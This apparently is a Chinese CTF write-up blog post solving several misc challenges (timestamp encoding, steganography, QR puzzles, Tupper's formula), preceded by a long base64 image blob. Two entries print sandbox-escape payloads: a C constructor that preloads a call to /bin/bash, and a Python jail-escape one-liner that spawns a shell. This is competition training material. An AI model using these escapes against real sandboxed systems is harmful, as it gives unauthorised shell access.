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

base64转图片得到一个二维码,扫描后得到flag

time

文本里的1124789000是时间戳,联系每个文本的修改时间不难想到是用时间代表某个字符,把文本的时间戳都转化后可以很明显发现文本的修改时间时间戳和文本里的时间戳差值就是ascii码,所以写一个脚本提取即可:

import os
from datetime import datetime

time_diffs = []

fixed_time = datetime.fromtimestamp(1124789000) # 固定时间(UNIX时间戳)

for i in range(0,38):
      filename="change{}.txt".format(i)
      mtime = os.path.getmtime(filename)
      file_time = datetime.fromtimestamp(int(mtime))
      time_diff = (file_time - fixed_time).total_seconds()
      time_diffs.append(int(time_diff))

print(time_diffs)
[102, 108, 97, 103, 123, 101, 51, 48, 100, 97, 57, 52, 48, 101, 101, 102, 57, 55, 49, 56, 102, 49, 100, 98, 99, 52, 97, 48, 100, 48, 99, 100, 101, 49, 101, 99, 98, 125]

然后ascii码转字符串:

time_diffs=[102, 108, 97, 103, 123, 101, 51, 48, 100, 97, 57, 52, 48, 101, 101, 102, 57, 55, 49, 56, 102, 49, 100, 98, 99, 52, 97, 48, 100, 48, 99, 100, 101, 49, 101, 99, 98, 125]
result = ''.join([chr(i) for i in time_diffs])
print(result)

flag{e30da940eef9718f1dbc4a0d0cde1ecb}

图片的密码

把docx改为zip后缀,解压后可以在docProps文件夹看到密码文本:kg318v,查看图片有很明显的PixelJihad特征,使用http://tools.jb51.net/aideddesign/img_add_info对图片进行解密即可

easymisc

change19里有一个二维码,扫描后得到一个网盘链接,下载后获得一个tar文件,解压后在E:\game\a12553183e6feaa32744e405985000f41591bdff85f9d81967a6405196e3a71a\layer\mnt发现一个gif图片,里面是四个二维码碎片不断跳转,一张一张截图出来拼凑成一个完整的二维码,扫描后得到flag

cb0x-new

参考https://www.cnblogs.com/BOHB-yunying/p/11691382.html,用

__attribute__ ((__constructor__)) void preload (void)
{
  system('/bin/bash');
}

在main.c执行之前预加载恶意命令即可

X19hdHRyaWJ1dGVfXyAoKF9fY29uc3RydWN0b3JfXykpIHZvaWQgcHJlbG9hZCAodm9pZCkKewogICAgc3lzdGVtKCcvYmluL2Jhc2gnKTsKfQ==

pyjail

很明显是上次ångstromCTF2023那个pyjail的原题,用之前那个payload就行了:

(__builtins__:=__import__('os'))and((lambda:system('sh'))())

qrsea

十进制转化,图片一共有10个大小,从小到大正好转化成0-9

import qrcode
from PIL import Image

res = ""

for i in range(0, 531):
    qrcode = Image.open(str(i) + ".png")
    res += str(qrcode.size[0] // 29 - 1)  # 将分辨率字符串附加到 res 后面

print(res)

然后去https://tuppers-formula.ovh/转flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇